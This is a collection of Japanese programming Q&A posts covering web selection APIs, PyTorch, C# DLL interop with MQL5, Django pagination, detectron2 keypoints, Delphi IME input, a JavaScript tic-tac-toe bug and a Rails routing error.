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"title": "contenteditable=\"true\"のdiv要素内で、HTMLタグを含めて選択範囲の文字列を取得したい",
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"body": "`getSelection().getRangeAt(0).cloneContents()` で `DocumentFragment`\nノードが得られます。その子ノードをループして、`Element` だったら `outerHTML` を呼ぶ、`Text` だったら `<` と `&`\nをエスケープ、のようにシリアライズしてください。\n\n`new\nXMLSerializer().serializeToString(getSelection().getRangeAt(0).cloneContents())`\nという手もありますが、こちらは XML としてシリアライズするので `xmlns` がついたりします。\n\n* * *\n\n> > もし ol が選択されてたら\n>\n> はい、`<b>ol</b>`で取得したいです。\n\n選択範囲を `document.execCommand('copy', ...)` でクリップボードにコピーして、[Clipboard API\nで読み出す](https://developer.mozilla.org/ja/docs/Web/API/Clipboard/read)という手法が可能かもしれません。 \n[【JavaScript】クリップボードの内容を読み取る方法](https://webfrontend.ninja/js-clipboard-read/) \n読み取る方法はこのページが参考になるかもしれません。\n\nコピーしたくない場合は、簡単な方法はなさそうです。`getSelection().getRangeAt(0)` で得られた `Range`\nオブジェクトの始点と終点の情報から必要なタグやテキストを自力で判定してHTMLソースを組み立てます。そういうことをしてくれるライブラリなどが存在するかもしれませんね。",
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"body": "`import torch`をしようとすると`UnicodeDecodeError`になります。どうすればデコードできるでしょうか？\n\n```\n\n File \"/home/haga/Context-Cluster/models/context_cluster.py\", line 11, in <module>\n import torch\n File \"/home/haga/yes/lib/python3.8/site-packages/torch/__init__.py\", line 605, in <module>\n _C._initExtension(manager_path())\n File \"/home/haga/yes/lib/python3.8/site-packages/torch/cuda/__init__.py\", line 125, in <module>\n _lazy_call(_check_capability)\n File \"/home/haga/yes/lib/python3.8/site-packages/torch/cuda/__init__.py\", line 123, in _lazy_call\n _queued_calls.append((callable, traceback.format_stack()))\n File \"/home/haga/yes/lib/python3.8/traceback.py\", line 197, in format_stack\n return format_list(extract_stack(f, limit=limit))\n File \"/home/haga/yes/lib/python3.8/traceback.py\", line 211, in extract_stack\n stack = StackSummary.extract(walk_stack(f), limit=limit)\n File \"/home/haga/yes/lib/python3.8/traceback.py\", line 366, in extract\n f.line\n File \"/home/haga/yes/lib/python3.8/traceback.py\", line 288, in line\n self._line = linecache.getline(self.filename, self.lineno).strip()\n File \"/home/haga/yes/lib/python3.8/linecache.py\", line 16, in getline\n lines = getlines(filename, module_globals)\n File \"/home/haga/yes/lib/python3.8/linecache.py\", line 47, in getlines\n return updatecache(filename, module_globals)\n File \"/home/haga/yes/lib/python3.8/linecache.py\", line 137, in updatecache\n lines = fp.readlines()\n File \"/home/haga/yes/lib/python3.8/codecs.py\", line 322, in decode\n (result, consumed) = self._buffer_decode(data, self.errors, final)\n UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8f in position 6181: invalid start byte\n \n```",
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"title": "import torchでUnicodeDecodeErrorになります",
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"body": "## 実現したいこと\n\nアンマネージドアプリの内蔵言語からC#で作成したツール(DLL)を呼び出すこと。\n\n**最低限の目標**\n\n * アンマネージド用に DllExport した`Funcs.dll` 内にある公開用`static`関数から複数のC#マネージドDLLからなるプログラムを稼働させたい。\n\n**理想の目標**\n\n * 最低限の目標\n * 内蔵言語(mql5)からはDll内classのインスタンスを取得したいができない(イベントも取得できない)のでDLL内にインスタンスを保持して内蔵言語(mql5)からポーリングで結果取得したい。 \n※ アンマネージドアプリの内蔵言語(mql5)からはDll内classのインスタンスを取得できない現象は知識不足による誤った見解の可能性があります。\n\n**解決できなければ**\n\n * 仕様や制限などで解決できない又は自分にとって難易度が高い場合は名前付きパイプかWebSocketでの実装を考えています。\n * できない原因が特定できれば今後に生かせると思っています。\n\n**スキル**\n\n * C言語は一時ワンチップマイコンPicで何度か使った程度で知識は浅いです。\n * Visual Studio IDE の力によりC#で動くレベル（エラー処理が貧弱な）のアプリケーションをいくつか作った経験があります。\n * プログラミング初心者から脱皮したいと努力中です。\n\n## 解決したい困ってる現象\n\n説明で使用する用語です。\n\n[mql5](https://www.mql5.com/ja/docs) :\nアプリケーションの内蔵言語、C言語と似ているがポインタが無いなど細部の仕様が異なるコンパイラ言語。 \n[DllExport](https://github.com/3F/DllExport) :\nC#で作成したソース内の関数をUnmanagedから呼び出せるように変更してくれる。 \nFuncs.dll : Funcs.csprojで作成。mql5側でimportするDllExportした公開する関数用のDLL。 \n公開関数 : `Funcs.dll`内にあるDllExport属性がついたUnmanagedから呼び出せる関数。 \nExample.dll : Example.csprojで作成。公開関数から呼ばれるプログラム本体がある。 \n本体 : `Example.csproj`内にあるプログラムの本体。NuGetから取得したライブラリなど。マネージドC#で作成。\n\n * `mql5`で`Funcs.dll`の`公開関数`内で完結する関数は実行できます。\n * `Funcs.dll`内でも`公開関数`外でインスタンス化したオブジェクト内の関数を実行するとエラーになります。\n * `本体`を呼び出す`公開関数`はエラーになります。\n\n## コード\n\n`Funcs.csproj` .Net Framework 4.8.1 x64でビルド\n\n```\n\n namespace NameFuncs\n {\n public class Funcs\n {\n // 以下、公開関数内で完結する関数テスト\n static InnerExample innerExample = new InnerExample();\n \n [DllExport]\n public static int Add_InnerExample_Static(int a, int b) => InnerExample.Addd(a, b);\n \n [DllExport]\n public static int Add_InnerExample_Local(int a, int b)\n {\n var localInnerExample = new InnerExample();\n return localInnerExample.Add(a, b);\n }\n \n [DllExport]\n public static int Add_InnerExample(int a, int b) => innerExample.Add(a, b);\n \n \n // 以下、本体を呼び出す関数テスト\n static OuterExample outerExample = new OuterExample();\n \n [DllExport]\n public static int Add_OuterExample_Static(int a, int b) => OuterExample.Addd(a, b);\n \n [DllExport]\n public static int Add_OuterExample_Local(int a, int b)\n {\n var localOuterExample = new OuterExample();\n return localOuterExample.Add(a, b);\n }\n \n [DllExport]\n public static int Add_OuterExample(int a, int b) => outerExample.Add(a, b);\n }\n \n public class InnerExample\n {\n public int Add(int a, int b) => a + b;\n \n public static int Addd(int a, int b) => a + b;\n }\n }\n \n```\n\n`OuterExample.csproj` .Net Framework 4.8.1 x64でビルド\n\n```\n\n namespace NameOuterExample\n {\n public class OuterExample\n {\n public int Add(int a, int b) => a + b;\n \n public static int Addd(int a, int b) => a + b;\n }\n }\n \n```\n\n`mql5`\n\n```\n\n #import \"Funcs.dll\"\n int Add_InnerExample_Static(int a,int b);\n int Add_InnerExample_Local(int a,int b);\n int Add_InnerExample(int a,int b);\n \n int Add_OuterExample_Static(int a,int b);\n int Add_OuterExample_Local(int a,int b);\n int Add_OuterExample(int a,int b);\n #import\n \n //+------------------------------------------------------------------+\n //| Script program start function |\n //+------------------------------------------------------------------+\n void OnStart()\n {\n Print(Add_InnerExample_Static(2,3)); // 5\n Print(Add_InnerExample_Local(20,30)); // 50\n Print(Add_InnerExample(200,300)); // error\n \n Print(Add_OuterExample_Static(2,3)); // error\n Print(Add_OuterExample_Local(20,30)); // error\n Print(Add_OuterExample(200,300)); // error\n }\n \n```\n\n## `mql5` エラーメッセージ\n\n```\n\n TestScript Unhandled exception 0xE0434352\n TestScript crash --> 00007FF8E264536C 0F1F440000 nop [rax+rax+0x0]\n TestScript 00007FF8E2645371 488B8C24C0000000 mov rcx, [rsp+0xc0]\n TestScript 00007FF8E2645379 4833CC xor rcx, rsp\n TestScript 00007FF8E264537C E85F290500 call 0x7ff8e2697ce0\n TestScript 00007FF8E2645381 4881C4D8000000 add rsp, 0xd8\n TestScript 00007FF8E2645388 C3 ret \n TestScript \n TestScript 00007FF8E2645389 CC int3 \n \n 00: 0x00007FF8E264536C\n 01: 0x0000006C00000000\n 02: 0x0000006C463FBD10\n 03: 0x0000006C463FC4D0\n 04: 0x00007FF8B6356EAE\n 05: 0x00000081E0434352\n \n```\n\n## 試したこと\n\n * ビルドをAnyCPUやx86に変えてビルドしましたがすべてエラーが出ました。\n * 上記コードにないパターンで試行錯誤をやってみましたがうまくいきませんでした。\n * 上記コードは最終的にわかりやすいように最低限のパターンに絞り込みました。\n * Google検索でも解決の糸口を見つけきれませんでした。\n * ChatGPTにプロンプトを変えながら問い合わせましたが全く違う回答ばかりでした。\n\n※上記試行は自身のスキルの低さが原因の可能性があります。\n\n## 環境\n\nWindows 11 HOME 22H2 x64 \nVisual Studio 2022 Community Version 17.6.2 \nMeta Trader 5 x64 \n[MQL5 リファレンス](https://www.mql5.com/ja/docs) \n[DllExport の GitHub](https://github.com/3F/DllExport)\n\n* * *\n\n# radianさんから教えていただいたUnmanagedCallersOnlyを使った解決方法を後学のために残しておきたいと思います。\n\nMainFuncs.csproj\n\n```\n\n namespace NameMainFuncs\n {\n public class MainFuncs\n {\n public int Add(int a, int b) => a + b;\n }\n }\n \n```\n\nUnmanagedFuncs.csproj\n\n```\n\n using NameMainFuncs;\n using System.Runtime.InteropServices;\n \n namespace NameExportFuncs\n {\n public class ExportFuncs\n {\n static MainFuncs Funcs = new MainFuncs();\n \n [UnmanagedCallersOnly(EntryPoint = \"Add\")]\n public static int Add(int a, int b) => Funcs.Add(2, 3);\n }\n }\n \n```\n\nUnmanagedFuncs.csproj をエディタで以下を追加\n\n```\n\n <PropertyGroup>\n ...\n <PublishAot>true</PublishAot>\n </PropertyGroup>\n \n```\n\nプロジェクト`UnmanagedFuncs`を発行すると２つのDLLが作成される。 \n`UnmanagedFuncs.dll` \n`MainFuncs.dll`\n\nmain.c\n\n```\n\n #include <stdio.h>\n #include <Windows.h>\n \n typedef int (*Add)(int a, int b);\n \n int main()\n {\n HMODULE hModule = LoadLibrary(L\"UnmanagedFuncs.dll\");\n if (hModule == NULL)\n {\n printf(\"Failed to load library.\\n\");\n getchar();\n return -1;\n }\n \n Add add = (Add)GetProcAddress(hModule, \"Add\");\n if (add == NULL)\n {\n printf(\"Failed to get function.\\n\");\n getchar();\n return -1;\n }\n \n printf(\"%d\\n\", add(2, 3));\n \n FreeLibrary(hModule);\n getchar();\n return 0;\n }\n \n```\n\nで確認すると 「5」 が表示されました (^^)/\n\nradianさんありがとうございました。",
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"title": "アンマネージドアプリから C#で作成したDLLを呼び出すと失敗する場合がある",
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"body": "推測ですが、ネイティブ関数呼び出しではstaticメンバの初期化が動作せず、innerExample\nとouterExampleがnullのままの可能性があります。 \n別途、staticメンバ初期化用のメソッドを用意して呼び出すなどしてみてはどうでしょう。\n\nOuterExampleは別DLLになっているんでしょうか？ \nDllExportがどういう仕組みになっているかは判りませんが、OuterExampleのアセンブリがメモリに読み込まれていないから、インスタンスを作れないのかもしれません。[Assembly.Load](https://learn.microsoft.com/ja-\njp/dotnet/api/system.reflection.assembly.load?view=net-7.0)で動的にアセンブリを読み込んだりすれば解決するかもしれませんが、断言できません。\n\nいずれにせよ、DllExportは.NETの標準の仕組みではないので、普通にC#を使ってる場合には発生しない予測不可能な不具合を踏む可能性はあります。DllExportのリポジトリ自体も3年以上更新されていないので、メンテナンス面も不安が残ります。不具合が発生したときに自力で原因を切り分けて解決出来る能力が無ければ、手を出さない方がいい気もします。 \n名前付きパイプ等で解決出来るのであれば、その方が無難でしょう。\n\nちなみに、.NET7ではネイティブ関数のエクスポートが出来るようになったようです。私は試してませんが、こちらでやってみるのも手かもしれません。\n\n[C#で書いたライブラリをPHPやGoから呼び出す](https://qiita.com/Gaku_Ishii/items/ad4abb1e0073519877d7)\n\n[UnmanagedCallersOnlyAttribute クラス](https://learn.microsoft.com/ja-\njp/dotnet/api/system.runtime.interopservices.unmanagedcallersonlyattribute?view=net-7.0)",
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"body": "Chromeの拡張機能”Web Scraper”について \nPythonでスクレイピングを学習する前に、プログラムなしで利用できる”Web Scraper”をいうChromeの拡張機能を利用してみました。\n\n試しにヤフオクで「Mac Book Pro」で検索をかけ「おすすめ順」の \nページを表示させました。 \nサイト名を[Mac book Pro]とし、URLは上記のページのUrlを貼りcreateしました。\n\n次に[id]をItemとし、Multipleにチェックを入れ「Type」をElementにしました。 \nそして「select」を押して実際は添付画像にある、青色の部分（要素全体）を取得したいのですが、実際に選択され赤く変色するのはイメージのみです。\n\n[](https://i.stack.imgur.com/XUpzt.png)\n\n”Web\nScraper”を使って、「画像」、「商品名」、「現在価格」、「即決価格」、「入札数」、「残り日数」といった要素すべてを取得する場合は「Type」をElementにするのではなく別のものにする必要があるのでしょうか？\n\nやり方が間違っているのかもしれません。正しく取得できる方法を教えて下さい。\n\n*これはあくまで扱い方の練習で実際にスクレイピングをするわけではありません。（ショッピングサイトの多くは禁止されてるようです。）",
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"title": "Chromeの拡張機能”Web Scraper”について",
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"body": "### 実現したいこと\n\nDjangoで日記アプリケーションを作成しています。マイページ上でプロフィールだけでなく、自分が投稿した記事の一覧を併せて表示させており、表示させる記事の数を最大6にして、それ以降はページネーションによって記事を分割表示しようとしています。\n\n### 前提\n\n**モデル** \n・主モデルCustomUserに対して、従モデルArticleが一対多でリレーションシップ関係を取っています \n・Articleモデルのリレーションフィールド(post_user)では、下記サイトを参考に、テンプレート側で逆参照を出来るように、related_nameオプションを設定しています \n<https://qiita.com/ragnar1904/items/1afaeb6601cc490fb70a#%E9%80%86%E5%8F%82%E7%85%A7%E3%81%AE%E5%A0%B4%E5%90%88>\n\n```\n\n #models.py\n class CustomUser(AbstractUser):\n username = models.CharField(\n _(\"username\"),\n max_length=30,\n help_text='Required 30 characters or fewer.',\n unique=True,\n error_messages={\n 'unique': _(\"This Username already exists.\"),\n },)\n \n email = models.EmailField(\n _('email'),\n unique=True,\n error_messages={\n 'unique': _(\"A user with that email address already exists.\"),\n },)\n \n class Meta:\n verbose_name_plural = 'CustomUser'\n \n \n class Article(models.Model):\n post_user = models.ForeignKey(CustomUser, verbose_name='Post User', on_delete=models.CASCADE, related_name='name',)\n title = models.TextField(verbose_name='title', max_length=50,)\n content = MDTextField()\n thumbnail = models.ImageField(verbose_name='thumbnail', null=False, blank=False,)\n \n```\n\n**ビュー** \n・ビューではListViewを継承し、クラス変数`model`にはCustomUserを指定し、クラス変数`paginate_by`の指定も行う \n・get_queryset()のオーバーライドでは、マイページのユーザに紐づくArticleモデルのクエリーセットをテンプレートへ渡すようにする\n\n```\n\n #views.py\n class MyPageView(LoginRequiredMixin, generic.ListView):\n template_name = 'mypage.html'\n model = CustomUser\n paginate_by = 6\n \n def get_queryset(self):\n articles = CustomUser.objects.filter(username=self.request.user).prefetch_related('name')\n return articles\n \n```\n\n**テンプレート** \n・テンプレートでは、主テーブルCustomUserのクエリを`{% for s in customuser_list\n%}`で取り出し、従テーブルArticleのクエリを`{% for article in s.name.all %}`で取り出す。\n\n```\n\n <!--mypage.html-->\n {% for s in customuser_list %}\n <section class=\"u-content-space\">\n <div class=\"container\">\n <header class=\"text-center w-md-50 mx-auto mb-8\">\n <h2 class=\"h1\">Prototyping Works by {{ s.username }}</h2>\n </header>\n \n <div class=\"js-shuffle u-portfolio row no-gutters mb-6\">\n {% for article in s.name.all %}\n <figure class=\"col-sm-6 col-md-4 u-portfolio__item\" data-groups='[\"its-illustration\"]'>\n <img class=\"u-portfolio__image_original\" src=\"{{ article.thumbnail.url }}\" alt=\"Image Description\">\n <figcaption class=\"u-portfolio__info\">\n <h6 class=\"mb-0\">{{ article.title }}</h6>\n </figcaption>\n </figure>\n {% endfor %}\n \n <!--ページネーション処理-->\n {% if is_paginated %}\n <div class=\"row justify-content-between align-items-center mb-4\">\n <div class=\"col-lg\">\n <nav aria-label=\"Bootstrap Pagination Example\">\n <ul class=\"pagination mb-0\">\n <!--前ページへのリンク-->\n {% if page_obj.has_previous %}\n <li class=\"page-item\">\n <a class=\"page-link\" href=\"?page={{ page_obj.previous_page_number }}\">\n <span class=\"mr-1 d-none d-sm-inline-block\">←</span> Previous\n </a>\n </li>\n {% endif %}\n \n <!--ページ数表示-->\n {% for page_num in page_obj.paginator.page_range %}\n {% if page_obj.number == page_num %}\n <li class=\"page-item active\">\n <a class=\"page-item\" href=\"#\">{{ page_num }}</a>\n </li>\n {% else %}\n <li class=\"page-item\">\n <a class=\"page-link\" href=\"?page={{ page_num }}\">{{ page_num }}</a>\n </li>\n {% endif %}\n {% endfor %}\n \n <!--次ページへのリンク-->\n {% if page_obj.has_next %}\n <li class=\"page-item\">\n <a class=\"page-link\" href=\"?page={{ page_obj.next_page_number }}\">\n Next<span class=\"ml-1 d-none d-sm-inline-block\">→</span>\n </a>\n </li>\n {% endif %}\n </ul>\n </nav>\n </div>\n </div>\n {% endif %}\n \n </div>\n </section>\n {% endfor %}\n \n \n```\n\n### 発生している問題\n\npaginate_byで指定した値を上回る数の記事が表示され、さらにページネーションに関わる表示も一切ありませんでした。\n\nブラウザの検証ツールを用いてhtmlを確認してみたところ、ページネーションに関するコードが記載されていなかった為、テンプレートの`{% if\nis_paginated %}`がFalseだと判定されたのだと理解しました。\n\n原因はviewsでページネーションに関するメソッドのオーバーライドで一工夫する必要があるかと考えましたが、調べても同じような事例を見つけることができず、どうすれば良いのか頭を抱えています。\n\n### 試したこと\n\n・ブラウザのキャッシュを削除し再度読み込みを行なってもページネーションの表示がされることはありませんでした。 \n・下記のページを参考にget_paginate_byをオーバーライドしましたが、ブラウザ上の表示は変わりませんでした。 \n<https://teratail.com/questions/243787>\n\n```\n\n def get_paginate_by(self, queryset):\n return self.request.GET.get('paginate_by', MyPageView.paginate_by)\n \n```\n\n### 補足情報（FW/ツールのバージョンなど）\n\n開発環境は下記の通りです \n・python 3.7.6 \n・Anacondaローカル内 \n・Django3系 \n・MacOS \n・Chromeブラウザ",
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"title": "従テーブルのクエリーセットによるページネーションを実装したい",
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"body": "detectron2を使用してカスタムデータの骨格検出を行いたいんですが、ValueError: expected sequence of length\n19 at dim 1 (got 0)というエラーが出てしまいます。 \n使用しているデータセットには、杖を左で持った人と右で持った人が含まれており、どちらも\"person\"という同一のクラスを使用しています。右手で持っている人は右手首と杖の先端をつなげています。 \n使用しているキーポイントはこのような感じです\n\n```\n\n keypoint_names = ['nose', 'left_eye', 'right_eye', 'left_ear', 'right_ear', 'left_shoulder', 'right_shoulder', 'left_elbow', 'right_elbow', 'left_wrist', 'right_wrist', 'left_hip', 'right_hip', 'left_knee', 'right_knee', 'left_ankle','right_ankle', 'left_whitecane', 'right_whitecane']\n \n```\n\n接続関係はこうなっています\n\n```\n\n `keypoint_connection_rules = [('nose','left_eye',(50,0,0)),('nose','right_eye',(0,50,0)),('left_eye','left_ear',(0,0,50)),('right_eye','right_ear',(100,0,0)),('left_elbow','left_wrist',(0,100,0)),('right_elbow','right_wrist',(0,0,100)),\n ('left_shoulder','left_elbow',(150,0,0)),('right_shoulder','right_elbow',(0,150,0)),('left_shoulder','left_hip',(0,0,150)),('right_shoulder','right_hip',(200,0,0)),('right_knee','right_hip',(0,200,0)),('left_knee','left_hip',(0,0,200)),\n ('right_knee','right_ankle',(255,0,0)),('left_knee','left_ankle',(0,255,0)),('left_wrist','left_whitecane',(0,0,0)),('right_wrist','right_whitecane',(255,255,255))]`\n \n```\n\n初めての質問なので、わかりにくい部分があったら指摘していただきたいです。",
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"title": "detectron2をオリジナルのデータで骨格検出でエラー：ValueError: expected sequence of length 19 at dim 1 (got 0)",
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"body": "Delphi5にて作成しているアプリ(以下、アプリといいます。)を、下記Windows Server 2019のリモートデスクトップ環境にて使用しています。\n\n * Windows Server2019 バージョン1809（OSビルド17763.4377）\n\n事象としては、アプリのグリッドビューへローマ字入力を行うと、1文字目で確定される事象が発生しております。IMEの設定変更で回避できるか調整しておりますが、改善に至っていません。 \nご質問したい内容につきましては、下記となります。\n\n * Delphi5アプリにて、Windows Server 2019環境で文字入力に適したコーディングはありますか？\n\n併せてアプリの開発環境を下記のとおりお伝えいたします。\n\n * Borland Delphi Professional Version 5.0(Build 5.62)\n\n端的な内容にて恐縮では御座いますが、 \nご教示の程宜しくお願い申し上げます。",
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"title": "Windows Server 2019環境でのDelphi5 アプリの文字入力不具合について",
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"body": "以下のことを試してみてはいかがでしょう？(既に試していたならすいません) \nIMEを以前のものに置き換える\n<https://www.fmworld.net/cs/azbyclub/qanavi/jsp/qacontents.jsp?PID=8111-2706> \n互換モードをWindows XP SP3など古いWindowsに設定する\n<https://solution.fielding.co.jp/column/it/itcol04/201906_02/> \nいまさらDelphi 5もどうなんだという話はありますが、Unicode対応とかDBアクセスとかそれなりにハードルがあるので、簡単にはいかないですよね。",
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"body": "# 実現したいこと\n\nJavascriptを使ってターミナル上で遊べる三目並べのゲームを作りたいのですが、Chat\nGPTを活用して、コードを生成し、作りました。プレイはできるのですが、途中でエラー（0 1と入力しても、Invalid move. Try\nagain.と出てしまう点）が起きてしまいます。このエラーの解決策を教えていただきたいです。\n\n# 前提\n\nゲームの操作方法としては0 1,0 2のように行と列の番号を入れていく感じです。 \nプログラム自体はnodeで動かしています。\n\n# お願い\n\nプログラミング初心者なので基礎的な情報も絡めて教えていただけると幸いです。よろしくお願いいたします。\n\n# 発生している問題・エラーメッセージ\n\n```\n\n PC game % node TicTacToeCLI.js\n Debugger attached.\n Player 1, it's your turn.\n _ _ _ \n _ _ _ \n _ _ _ \n Player 1, enter your move (row column): 0 1\n Invalid move. Try again.\n Player 1, it's your turn.\n _ _ _ \n _ _ _ \n _ _ _ \n Player 1, enter your move (row column): \n \n```\n\n# 該当のソースコード\n\n```\n\n const readline = require(\"readline\").createInterface({\n input: process.stdin,\n output: process.stdout,\n });\n \n const GAME_DOESNT_EXIST = -2;\n const GAME_NOT_STARTED = -3;\n const GAME_ENDED = -4;\n const GAME_ONGOING = -5;\n const WRONG_TURN = -6;\n const INVALID_LOCATION = -7;\n \n let games = {};\n let gameIdCounter = 0;\n let playerIdCounter = 0;\n \n function createGame() {\n let gameId = gameIdCounter++;\n games[gameId] = {\n players: [],\n board: [\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n ],\n turn: 0,\n ended: false,\n };\n return gameId;\n }\n \n function addPlayer(gameId) {\n if (!(gameId in games)) {\n return GAME_DOESNT_EXIST;\n }\n if (games[gameId].players.length >= 2) {\n return games[gameId].ended ? GAME_ENDED : GAME_ONGOING;\n }\n let playerId = playerIdCounter++;\n games[gameId].players.push(playerId);\n return playerId;\n }\n \n function makeMove(gameId, playerId, boardX, boardY) {\n if (!(gameId in games)) {\n return GAME_DOESNT_EXIST;\n }\n if (games[gameId].players.length < 2) {\n return GAME_NOT_STARTED;\n }\n if (games[gameId].ended) {\n return GAME_ENDED;\n }\n if (games[gameId].players[games[gameId].turn] !== playerId) {\n return WRONG_TURN;\n }\n if (\n boardX < 0 ||\n boardX > 2 ||\n boardY < 0 ||\n boardY > 2 ||\n games[gameId].board[boardX][boardY] !== 0\n ) {\n return INVALID_LOCATION;\n }\n games[gameId].board[boardX][boardY] = playerId;\n if (checkWin(games[gameId].board, playerId)) {\n games[gameId].ended = true;\n return playerId;\n }\n if (games[gameId].board.flat().every((cell) => cell !== 0)) {\n games[gameId].ended = true;\n return games[gameId].players[(games[gameId].turn + 1) % 2];\n }\n games[gameId].turn = (games[gameId].turn + 1) % 2;\n return GAME_ONGOING;\n }\n \n function checkWin(board, playerId) {\n let winLines = [\n [\n [0, 0],\n [0, 1],\n [0, 2],\n ],\n [\n [1, 0],\n [1, 1],\n [1, 2],\n ],\n [\n [2, 0],\n [2, 1],\n [2, 2],\n ],\n [\n [0, 0],\n [1, 0],\n [2, 0],\n ],\n [\n [0, 1],\n [1, 1],\n [2, 1],\n ],\n [\n [0, 2],\n [1, 2],\n [2, 2],\n ],\n [\n [0, 0],\n [1, 1],\n [2, 2],\n ],\n [\n [0, 2],\n [1, 1],\n [2, 0],\n ],\n ];\n return winLines.some((line) =>\n line.every(([x, y]) => board[x][y] === playerId)\n );\n }\n \n function printBoard(gameId) {\n const game = games[gameId];\n for (let i = 0; i < 3; i++) {\n let row = \"\";\n for (let j = 0; j < 3; j++) {\n if (game.board[i][j] === 0) {\n row += \"_ \";\n } else if (game.board[i][j] === game.players[0]) {\n row += \"X \";\n } else if (game.board[i][j] === game.players[1]) {\n row += \"O \";\n }\n }\n console.log(row);\n }\n }\n \n function playTurn(gameId, playerId) {\n console.log(`Player ${playerId + 1}, it's your turn.`);\n printBoard(gameId);\n readline.question(\n `Player ${playerId + 1}, enter your move (row column): `,\n (move) => {\n const [row, column] = move.split(\" \").map(Number);\n if (\n isNaN(row) ||\n isNaN(column) ||\n row < 1 ||\n row > 3 ||\n column < 1 ||\n column > 3\n ) {\n console.log(\"Invalid move. Try again.\");\n playTurn(gameId, playerId);\n return;\n }\n const result = makeMove(gameId, playerId, row - 1, column - 1);\n if (result < 0) {\n console.log(\"Invalid move. Try again.\");\n playTurn(gameId, playerId);\n } else if (result === GAME_ONGOING) {\n playTurn(gameId, (playerId + 1) % 2);\n } else {\n printBoard(gameId);\n if (result === playerId) {\n console.log(`Player ${playerId + 1} wins!`);\n } else {\n console.log(\"The game is a draw.\");\n }\n readline.close();\n }\n }\n );\n }\n \n function startGame() {\n const gameId = createGame();\n const player1Id = addPlayer(gameId);\n const player2Id = addPlayer(gameId);\n if (player1Id < 0 || player2Id < 0) {\n console.log(\"Error: Unable to start the game.\");\n return;\n }\n playTurn(gameId, player1Id);\n }\n \n startGame();\n \n```",
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"title": "Javascriptの三目並べ",
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"body": "表示されているエラーは構文エラーの類ではなく、コード中に自分で設定したメッセージのはずです。\n\nそして、コメント欄でも指摘がありますがコードを読む限り盤面の指定は 1 から 2\nの間で受け取り、それ以外は弾くように条件を設定しているので、仕様通りに動いていると言えます。\n\n言語仕様としては確かに配列は 0 から始まりますが、ユーザーに見せる際の仕様とどう整合をとるかはプログラムの設計次第です。\n\nどう入力すればよいかのヒントを表示するのも一つの方法です。",
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"body": "railsでいいね機能の非同期化したいです。\n\nindexの方ではエラーが出ないのですが、user\nshowの方で以下のエラーが出ます。ネットで検索してルーティングの確認をしたり、book.idが空になっているのでおそらくコントローラーに問題があると思い、引数を変えてみましたが解決しません。 \nどこをなおしたら良いかわかりません。 \nまた、見づらい部分もあるかもしれませんがよろしくお願いします。\n\n```\n\n ActionController::UrlGenerationError in Users#show\n Showing /home/ec2-user/environment/rails6-bookers2-debug-ruby3-main/app/views/favorites/_favorite.html.erb where line #7 raised:\n \n No route matches {:action=>\"destroy\", :book_id=>nil, :controller=>\"favorites\"}, missing required keys: [:book_id]\n Extracted source (around line #7):\n 5\n 6\n 7\n 8\n 9\n 10\n \n <% end %>\n <% else %>\n <%= link_to book_favorites_path(book), method: :post, remote: true,data: {\"turbolinks\" => false} do %>\n <i class=\"fas fa-heart\" ></i>\n <%= book.favorites.count %>\n <% end %>\n \n Trace of template inclusion: #<ActionView::Template app/views/books/_index.html.erb locals=[\"books\"]>, #<ActionView::Template app/views/users/show.html.erb locals=[]>\n \n```\n\ngem 'jquery-rails'を導入しています。\n\n該当していると思われるコードを記載します。\n\n```\n\n class FavoritesController < ApplicationController\n \n before_action :authenticate_user!\n \n #belongs_to :user\n #sbelongs_to :book\n \n def create\n @book = Book.find(params[:book_id])\n favorite = current_user.favorites.new(book_id: @book.id)\n favorite.save\n #redirect_to books_path\n end\n \n def destroy\n @book = Book.find(params[:book_id])\n favorite = current_user.favorites.find_by(book_id: @book.id)\n favorite.destroy\n #redirect_to books_path\n end\n end\n \n```\n\n_favorite.html\n\n```\n\n <% if book.favorited_by?(current_user) %>\n <%= link_to book_favorites_path(book), method: :delete, remote: true, data: {\"turbolinks\" => false} do %>\n <i class=\"fas fa-heart\", style=\"color:red;\" ></i>\n <%= book.favorites.count %>\n <% end %>\n <% else %>\n <%= link_to book_favorites_path(book), method: :post, remote: true,data: {\"turbolinks\" => false} do %>\n <i class=\"fas fa-heart\" ></i>\n <%= book.favorites.count %>\n <% end %>\n <% end %>\n \n```\n\ncreate.js\n\n```\n\n $('#favorite_buttons_<%= @book.id %>').html(\"<%= j(render \"favorites/favorite\", book: @book) %>\");\n \n```\n\ndestroy.js\n\n```\n\n $('#favorite_buttons_<%= @book.id %>').html(\"<%= j(render \"favorites/favorite\", book: @book) %>\");\n \n```\n\nassets/javascript/application.js\n\n```\n\n //= require jquery\n //= require rails-ujs\n \n```\n\nroutes.rb\n\n```\n\n Rails.application.routes.draw do\n \n devise_for :users\n root to: \"homes#top\"\n get 'home/about'=>'homes#about', as: 'about'\n post 'books' => 'books#create'\n \n \n resources :books, only: [:index,:show,:edit,:create,:destroy,:update,:new] do\n resource :favorites, only: [:create, :destroy]\n resources :book_comments, only: [:create, :destroy]\n end\n \n resources :users, only: [:index,:show,:edit,:update]\n get 'search' => 'searches#search'\n \n resources :users do\n resource :relationships, only: [:create, :destroy]\n get 'followings' => 'relationships#followings', as: 'followings'\n get 'followers' => 'relationships#followers' , as: 'followers'\n end\n #get 'search' => 'searches#search'\n end\n \n```",
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"title": "railsでuser showの方だけActionController::UrlGenerationErrorが出る",
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"body": "`ActionController::UrlGenerationError in Users#show` とあるので気にするべきは\nUsersController と users#show の view です。_favorite.html.erb で `link_to\nbook_favorites_path(book)` を生成したいのに `book.id` が `nil` なのでエラーになっています。View で\n_favorite.html.erb をレンダリングする際にちゃんと id 付きの `book` が渡っているか確かめてみてください。",
